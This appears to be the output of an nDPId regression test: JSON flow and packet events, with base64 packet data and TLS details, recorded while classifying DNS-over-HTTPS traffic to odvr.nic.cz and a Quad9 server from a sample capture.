+00568{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":807685,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWz7xAAL0GqPgKAAABp3LcfZKaAcWpCItxh0yFQlAYAfVFNQAAFwMDAGkkDzU65XfdIOYT+nJzAb5iwIS79Iug7SsJVvuIivcTddhHId7chPL3Z4DfINNbg5VXCvFXc9IpSlgsLyK103E8hL6U6\/nz6LtSnd0GMTNlhz9hqobz83bi9FGSwAgX\/N289OYycU2ONOA="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":91,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":946739310980,"flow_last_seen":0,"flow_tot_l4_data_len":301,"flow_min_l4_data_len":301,"flow_max_l4_data_len":301,"flow_avg_l4_data_len":301,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.43.135.1","src_port":38186,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00795{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739310,"pkt_ts_usec":980322,"pkt_caplen":335,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":335,"pkt_l4_len":301,"pkt":"REREREREZmZmZmZmCABFAAFBYCBAAL0GW60KAAABuSuHAZUqAburhCguMeSlTVAYAfYCHQAAFgMBARQBAAEQAwM7gJo4OG7S+iUgpLXTuxo5Xw1OBGj4DiyxVBvpcTjrrSC1ygzgmnU02BGfASVXjVBWPNfoJIqu28ODMXbR4UvXGQAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAChAAAAEAAOAAALb2R2ci5uaWMuY3oABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABoAGAgEBAMIBwgFCAYEAQUBBgEFAwYDAgECA\/8BAAEAABAADgAMAmgyCGh0dHAvMS4xABIAAAArAAkIAwQDAwMCAwEAMwAmACQAHQAg+HQ6d2TRAhXiPlV4SzYTTgVvyRFR0ttaRH8caXLPDAE="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":91,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":946739310980,"flow_last_seen":0,"flow_tot_l4_data_len":301,"flow_min_l4_data_len":301,"flow_max_l4_data_len":301,"flow_avg_l4_data_len":301,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.43.135.1","src_port":38186,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"odvr.nic.cz","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04468{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":16000,"pkt_caplen":3057,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3057,"pkt_l4_len":3023,"pkt":"ZmZmZmZmRERERERECABFAAvj5XlAADUGU7K5K4cBCgAAAQG7lSox5KVNq4QpR1AYAO0MvwAAFgMDAGICAABeAwOYp2uqwk2kagwv1bFvuG7BP4gwxFJK\/HnbYlDDBgxtByBtkhDnIYlAH5FeNvmtcy43X+awJKk1khM1gLQ9O4\/1KcAvAAAW\/wEAAQAACwAEAwABAgAQAAUAAwJoMhYDAwn0CwAJ8AAJ7QAFUTCCBU0wggQ1oAMCAQICEgOvzNhD6HsqkMaua9kU943O+TANBgkqhkiG9w0BAQsFADBKMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3MgRW5jcnlwdDEjMCEGA1UEAxMaTGV0J3MgRW5jcnlwdCBBdXRob3JpdHkgWDMwHhcNMjAwODAzMDY1MzUwWhcNMjAxMTAxMDY1MzUwWjAWMRQwEgYDVQQDEwtvZHZyLm5pYy5jejCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMSBtMaoOIrrVwbIP2cWYEJHSXjqgj\/\/9tkWX5PXpNopleDTdQVoDYtrhgWWdCxKvyghVnCCvqzpAdxH9iHJ+YDCJvMhSONvyUnQC+8wqGClBPGGgWuYJiWCNGWLq05jQxU5OjFamZYLeA83J41w0hXJ0caGVgR+ZmGHFjjdBCJABPqlSZbx4n\/8eqoqwv3W6903WKQrR8zszV5MtKKlTANB6QP2yhXI+UhhzdoeLxrEImAA6gxL2BOHWdKuBhBuV+ph8YRaL5IiMHVdXgcmxhPMtLDMaXcrlQWC6XO\/mVYjsQjycz9NHwfX9HBGmqdB8EpxpqAzOMv4Pfea+srqI+sCAwEAAaOCAl8wggJbMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADAdBgNVHQ4EFgQUiF81uRjtpDLZWzD7gWIvMHk\/TcYwHwYDVR0jBBgwFoAUqEpqYwR93brm0Tm3pkVl7\/Oo7KEwbwYIKwYBBQUHAQEEYzBhMC4GCCsGAQUFBzABhiJodHRwOi8vb2NzcC5pbnQteDMubGV0c2VuY3J5cHQub3JnMC8GCCsGAQUFBzAChiNodHRwOi8vY2VydC5pbnQteDMubGV0c2VuY3J5cHQub3JnLzAWBgNVHREEDzANggtvZHZyLm5pYy5jejBMBgNVHSAERTBDMAgGBmeBDAECATA3BgsrBgEEAYLfEwEBATAoMCYGCCsGAQUFBwIBFhpodHRwOi8vY3BzLmxldHNlbmNyeXB0Lm9yZzCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAABc7NP+yAAAAQDAEcwRQIhAKJu6NqRyIYQsDPHU\/A2REhgeKHjM4x+XnuUUYMuSVKBAiBvFXWETRjBcg4jaK4iYqlFL3MxxHaFAihU4M5Y1\/QWIQB1AAe3XBvlfWj\/8bDGHSMVx7rmV3xXlLdq7rxhOhpp06IcAAABc7NP+0kAAAQDAEYwRAIgbhSITSEVzSp\/pS3dsOxVrCnCOPr0QsQS\/Z8OeZ0VJL4CIEqFJZjRYER6kq4HNRyZ4yzxaPbu\/njrCFn4rfkG\/MO7MA0GCSqGSIb3DQEBCwUAA4IBAQCGEOIQRUNcWjsX719Aj278yDJZeRktrpYQiEzTApT2VFFAVk9RNpDtIgove0nygMmo0gYcRhVp8veJjqVoyBOpTj8fBZ0k4jHFaDhaRBi5aQXOMln+cU\/N+ZZyxOF\/OvhfMIgmGnNpnX15fmj0DD6pQOeMMvjd9\/6LhaAOIYehc8T\/qnYYgS+NN4PGwZ62L8NBcloKk78UBZkehMmgkPB4R4UGWU+P\/9wBXoct8xHeSEI\/RKypAvQONIxcx+PGOfY7cug8EawYjQxeC0dBrCPA4HuTbflrjLpxCEjs2nsPD4SXJGGl7AoG4paGMGZjt4DcZO2jhWz5unIehkjqEM\/fAASWMIIEkjCCA3qgAwIBAgIQCgFBQgAAAVOFc2oLheynCDANBgkqhkiG9w0BAQsFADA\/MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMTDkRTVCBSb290IENBIFgzMB4XDTE2MDMxNzE2NDA0NloXDTIxMDMxNzE2NDA0NlowSjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUxldCdzIEVuY3J5cHQxIzAhBgNVBAMTGkxldCdzIEVuY3J5cHQgQXV0aG9yaXR5IFgzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNMM8FrlLke3cl03g7NoYzDq1zUmGSXhvb418XCSL7e4S0EFq6meNQhY7LEqxGiHC6PjdeTm86dicbp5gWAf15Gan\/PQeGdxyGkOlZHP\/uaZ6WA8SMx+yk13EiSdRxta67nsHjcAHJyse6cF6s5K671B5TaYucv9bTyWaN8jKkKQDIZ0Z8h\/pZq4UmEUEz9l6YKHy9v6Dlb2honzhT+Xhq+w3Brvaw2VFn3EK6BlspkENnWAa6xK8xuQSXgvopZPKiAlKQTGdMDQMc2PMTiVFrqoM7hD8bEfwzB\/onkxEz0tNvjj\/PIzark5McWvxI0NHWQWM6r6hCm21AvA2H3DkwIDAQABo4IBfTCCAXkwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwfwYIKwYBBQUHAQEEczBxMDIGCCsGAQUFBzABhiZodHRwOi8vaXNyZy50cnVzdGlkLm9jc3AuaWRlbnRydXN0LmNvbTA7BggrBgEFBQcwAoYvaHR0cDovL2FwcHMuaWRlbnRydXN0LmNvbS9yb290cy9kc3Ryb290Y2F4My5wN2MwHwYDVR0jBBgwFoAUxKexpHsscfrb4UuQdf\/EFWCFiRAwVAYDVR0gBE0wSzAIBgZngQwBAgEwPwYLKwYBBAGC3xMBAQEwMDAuBggrBgEFBQcCARYiaHR0cDovL2Nwcy5yb290LXgxLmxldHNlbmNyeXB0Lm9yZzA8BgNVHR8ENTAzMDGgL6AthitodHRwOi8vY3JsLmlkZW50cnVzdC5jb20vRFNUUk9PVENBWDNDUkwuY3JsMB0GA1UdDgQWBBSoSmpjBH3duubRObemRWXv86jsoTANBgkqhkiG9w0BAQsFAAOCAQEA3TPXEfNjWDjdGBX7CVW+dla5cEilaUcne8IkCJLxWh9KEik3JHRRHGJouM2VcGfl96S8TihRzZvoroed6ti6WqEBmtzw3Wodatg+VyOeph4EYpr\/1wXKtx8\/wApIvJSwtmVi4MFU5aMqrSDE6ea73Mj2tcMyo5jMd6jmeWUHK8so\/joWUoHOUgwuX4Po1QYz+3dszkDqMp4fklxBwXRsW10KXzPMTZ+sOPAveyxindmjkW8lGy+QsRlGPfZ+G6Z6h7mjem0Y+iWlkYcV4PIWL1iwBi8saCbGS5jN2p8M+X+Q7UNKEkROb3N6KOqkqm57TH2H3eDJAkSnh6\/DNFu0QhYDAwFNDAABSQMAF0EE7OwduzycCFyh5foVYUYJfj2csLLoqbmNrs4ksDiqkMaHC2NulFxfST4jcCRZ19YEaLojL5JVRvlluRb8LA6yDQQBAQARbpzNdpCTfHNn9Bz14lNKRHZrsXa4X4EmfyVVEagU6WSCW5UKp3bMis8UAzosg4RFbcIE\/BqKgmQG64Bt\/cGitnxq47bonIC\/OFLylrM320R6R6uLkQuGNQpkUlgrZKL\/+YkYqd4ToLlZjenqQeguYlPWOUvDEduCfvOd+A9y2fcGuSyrbb0En99qwYiK1PUm11WXjEDQ91vzKm5Pz2wWWFYuywvRbHOtLetuqGEfMtz5QTTP+GA2fJf1SHhqAtT7v7XaP+5Wvee65IgIoNU6aiAVYz3hwW\/AkDmTqCcqZ608Q7A+R1MIFZgfnWqkxiaXPHcpFh\/8pcgjckhLtTiSFgMDAAQOAAAA"} +01080{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":92,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":2,"flow_first_seen":946739310980,"flow_last_seen":946739311016,"flow_tot_l4_data_len":3324,"flow_min_l4_data_len":301,"flow_max_l4_data_len":3023,"flow_avg_l4_data_len":1662,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.43.135.1","src_port":38186,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"9":"TLS Expired Certificate"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"odvr.nic.cz","server_names":"odvr.nic.cz","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3","issuerDN":"CN=odvr.nic.cz","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"15:57:4E:06:5B:3D:23:22:EF:BC:2E:5B:A3:3E:A5:76:BD:14:01:4B"}} +00587{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":48333,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"REREREREZmZmZmZmCABFAACmYCJAAL0GXEYKAAABuSuHAZUqAburhClHMeSxCFAYAfUBggAAFgMDAEYQAABCQQS+L1tdhkv27psDloITDJmmm+nkuKGJ6kBYeGBEdwUOSK4polbbfA55gXHwNtK3Y1Aq1CUhl++X\/zqhOD+IGqi8FAMDAAEBFgMDACgAAAAAAAAAALayQyzNIxhtoOFefQYzbs\/rDW3NZGb\/HW2xO7qHfaVY"} +00485{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":82444,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ZmZmZmZmRERERERECABFAABb5XxAADUGXze5K4cBCgAAAQG7lSox5LEIq4QpxVAYAO3kswAAFAMDAAEBFgMDACgM3BAgXmTBrS3s\/v\/TLpgtdJ4pAYEQBzm8bgZO9q3GlVtpE11XxqpT"} +00466{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":82460,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"ZmZmZmZmRERERERECABFAABO5X1AADUGX0O5K4cBCgAAAQG7lSox5LE7q4QpxVAYAO3YLAAAFwMDACEM3BAgXmTBrtvUUjN4IXyxDqm09\/JiypfLAmSXnwNvJzM="} +00542{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":82591,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"REREREREZmZmZmZmCABFAACFYCRAAL0GXGUKAAABuSuHAZUqAburhCnFMeSxYVAYAfUBYQAAFwMDAFgAAAAAAAAAAVvU5Cqy5vW+CcxldtfJqUlcpan0xgqGJGh9iFwFyd8I8K+Fmd20ESpCrb\/oBCpAwddHGTZ4e10I3MYVBNJCeuLqlMFQ5jn5o1de1\/S+Cxne"} +00648{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":82651,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"REREREREZmZmZmZmCABFAADTYCVAAL0GXBYKAAABuSuHAZUqAburhCoiMeSxYVAYAfUBrwAAFwMDAKYAAAAAAAAAAl5QB3lst2BcOHgjrTHPO7zhMBVuIsBRZLESLzB41kelMEM25KPd+t4B0aLZjBjxJSCWBRJ+q6vjDxUqxJmwk6NpNXeLtYvW1ukV6rImidlF7iuP7tnjWO9rxHCqz2M2eBZFBuikU7mBVIl\/tm7Rbbdy+CeGRYrmYK5QbIy9wWDKUE28ZV+Qzi4AOwUIJ\/iEnn\/Au6\/8nmJC+MQEfA2f"} +00465{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":82678,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"REREREREZmZmZmZmCABFAABOYCZAAL0GXJoKAAABuSuHAZUqAburhCrNMeSxYVAYAfUBKgAAFwMDACEAAAAAAAAAAwNZnN6xxa+M32A6GKanV0GW6QqTIXehyuw="} +00534{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":82715,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+YCdAAL0GXGkKAAABuSuHAZUqAburhCrzMeSxYVAYAfUBWgAAFwMDAFEAAAAAAAAABJBGwRvSmuCz2ggW3Km2jX3aGznJ1nn\/L5\/1tAAdpI15H6AUsOtv6d8GOZJp3AqWfKW9vFMJA2dTIASoQinwFGsjrW61DNPApd4="} +00470{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":116890,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"ZmZmZmZmRERERERECABFAABO5X5AADUGX0K5K4cBCgAAAQG7lSox5LFhq4QqIlAYAO1tMAAAFwMDACEM3BAgXmTBr1Q\/iTzTc8p\/Vc1811xjYu2PvbeMAHU6gP4="} +00473{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":117353,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"ZmZmZmZmRERERERECABFAABS5YBAADUGXzy5K4cBCgAAAQG7lSox5LGHq4QrSVAYAPXbEAAAFwMDACUM3BAgXmTBsIzuCymQCZdv5SnQT+oDJhGiWElRmkvU\/KZterFT"} +00472{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":117367,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"ZmZmZmZmRERERERECABFAABS5YFAADUGXzu5K4cBCgAAAQG7lSox5LGxq4QrSVAYAPUVOAAAFwMDACUM3BAgXmTBseIdS3qmp+55uuGe3MFoHvaXn9uoQApRFPJBgXWO"} +00539{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":117844,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"ZmZmZmZmRERERERECABFAACA5YJAADUGXwy5K4cBCgAAAQG7lSox5LHbq4QrSVAYAPUtRAAAFwMDAFMM3BAgXmTBsszXKmPJMeQOI0MkfcYQA+ooKae5hUP4MLmmY0Ld7Ih0Dxjdtk95UcVjx99quseqon6HZoBzdoLKcy0HNp6dn4X8nvirHS9hBjPbpg=="} +01110{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":117867,"pkt_caplen":560,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":560,"pkt_l4_len":526,"pkt":"ZmZmZmZmRERERERECABFAAIi5YNAADUGXWm5K4cBCgAAAQG7lSox5LIzq4QrSVAYAPUvDgAAFwMDAfUM3BAgXmTBs1EK1nwDpA88In8MceRrmtJr2Wr4aoGn3\/n2lDfrsPqQIBb4xIkDKr+I2Sj+uDNXlePUZ6J1jVI+0qdO9IqbHhqFT22V25ts0QyQ4VGab5UJTinlh\/mN\/OiNvXbisYzaG6BEYfKj3wcbkNUWOxfW7DrEIJk2c5tdTz9u\/f0Vrp5jE2tqJHmzfL\/0yUnewzzy0R00ovZ61HlVYKs+Nrzgbi49J2eDzKj2GlootXyxkli7MBhoNehJ6BqKpnQhvFVjHXixnbu\/3miHh15czY04hueDFv23\/N5Db2FZhL05Xp9Fe5ZThoWZOpYKBWQZlTb265ZkcmCVNJNZWkNkvGOtw\/fK6QkzIJaSQnMKlnCD94ceC0oVOpbKCHADINuM1SwUtcuZz4wsykjAlHWdJkknp\/W1GjsBrD6z\/QdBQBqFyTbn+nEqESVwEhOTVz9BPSGznJc+44haEBDvenvoKqPZ\/y68H6aaocqKOSld1\/ZOolE4+QDtZBSk50c\/DsvdUtXFg6t1b40dUBvlcKDyIKs6VFOGyO\/BfMIruYRGQm+7Gq8xV2iH4YP93CtqIEycckUV3HnkYB6thnLC8c6ovcFGmZZX1aXXD6KzprKovxrN1Yw9fQjLR0JzntgwVfgZCvZ5aCfFG4E+lVeKVNJQ\/xE="} +00472{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":118184,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"REREREREZmZmZmZmCABFAABSYCpAAL0GXJIKAAABuSuHAZUqAburhCtJMeS0LVAYAfUBLgAAFwMDACUAAAAAAAAABY9aRMDmOR8f9esMpluWV5JN3iwergY59UqdwDxq"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":113,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":946739311335,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"9.9.9.10","src_port":51770,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00803{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":335665,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"REREREREZmZmZmZmCABFAAFF8W5AAL0G+HQKAAABCQkJCso6Abuxr7nkL4f0JVAYAfbUBgAAFgMBARgBAAEUAwN330DAziY7Qy75ow2vvPPweI0WjrfNmIygzjgDJAOaiiBkC+TeFnwD\/kQWoA8NwSkWiR\/ZS3JD6l8yhQXJVgAa3gAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAClAAAAFAASAAAPZG5zMTAucXVhZDkubmV0AAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AICW+8u6SZcrHjrKSceEpWhhd\/sXKRaui0Qq2OMNRWOwf"} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":113,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":946739311335,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"9.9.9.10","src_port":51770,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns10.quad9.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02390{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":357881,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"ZmZmZmZmRERERERECABFAAXUEqtAADsGVKoJCQkKCgAAAQG7yjovh\/Qlsa+7AVAQAHdneAAAFgMDAHoCAAB2AwPsHFeUVovCXmWpA4VyNoqF1JeqKqRwRROYqOPJU94DoSBkC+TeFnwD\/kQWoA8NwSkWiR\/ZS3JD6l8yhQXJVgAa3hMCAAAuACsAAgMEADMAJAAdACBGm95D7Gx83XoeinRk1rxGpZA8u1buvy6HtAvs0UM2ZxQDAwABARcDAwAgBCGr5NOssVZ7TUX4BrL7MyB6aRLwiu1feUb2m7o8fLYXAwMKaD942IoOSpCliO6ZHVfN+ruurWUvz7jYgeJjK7SV5aPdpOPU+gCK34wDZjZp50dMaIsg77NAx4MrmJU6wTsTAwZldztvUMpws2wEYMHKWN686r\/ZugmuzBYB3tOPhjCMvk8pBO5Z4lVJQc9Hb1RsJ03QnqO\/EjZsCDIJr3EwAdBfauIjY3hi6AzlRf9VL9JoUREwghpYtzQDH4RvKScS6ISuIZ0qtqLTaSpG1rQC+HJZ6KKhTxZKSTcym6aIqvAR7ZiyINnXnDnxtWbl8cRiOiDv8PdDsr+5E5xwhcf6QYoUCBscXYYl1EwqfCWZLU9EdSEHvyBTgkaNAt3XMqrEl7x4wjZ94SWxkiQsQ3IyHj5ooHHdJLNgfAhAZ1sF3MqWOMepm6yBmJwKpSpxHS0\/\/oYNPpH+52R4vidTCtKs7UfIN9SKrOu0JFbGVqc8M5lplCXOQx4+S48+BecP0sGtTkcShvyBVSAANiwxQTDnS7JinVgGYtRwWjEqrWQJJopko6YuGLn+wkhYZkogv\/onHZtE4hlsg01xAHJ9PxQYxWbOdVfS1w0JvhE5EDMILwTMYm\/YfzaRcfZnN3X3c8PldLUC8Q00rxaePA+7a5mbMlVzZ\/ZKqlpmGHRhU3G\/b+Za7F3XZpTKcWJ\/+pP4OAaUaey+j0NOSrl7D3\/HeWq7P0vSd\/KYIm9oS0ZJvLtsffCfxTm2zwDcPGhRfKW16iadTUvmoczzCHSYvw+n8hl61iMBIgJerq\/CN9KkicrNEfU8QCR9bMF1D3CABgNImMdCKODlAcrpb\/Ya\/cQUwfP\/CWuVsZ3s+sh12SEW9JLfAgHTnuYwcMjbvAf2Fgpb\/+WmXCT93+A3gLKANXIVA2PfvntvndGO4gXYEiHaUhu4qZSsHkkcQJ5rwvJrE4CSJC\/fp+te7FlAxBXZxU3peCLLIMzIhccFKuqNX9+cPYxqAzm+f4FDsJg5KvH5AIh6Nda\/JBKZzhlz2omWzUxsNRCyzYkCR\/6xx8emByUElOOQjp3\/HRm+WaL5aZHnOk2myD86PdWR0IdZibdlJEHJ2\/GXJsQQv95dhA35hvgjWHiQLe0QLkAtPzosLXULXc5d7ytqMATetgFrOl+B+IuaEJAtm5NdT9m+\/Uo1nl\/TbvSaNp5EaxK2DPhV7Vt+vxmsBj23m0aDhv8PPgUfy9wK\/Niqob3bOD6oQrofsTggzpDg\/0PeQx+LRnGU46v4ljhYI4JoQY+cJBFQKWNeFww9uy1s8SJhz9LzcLFv+j30Vt+r4FFm8AZfz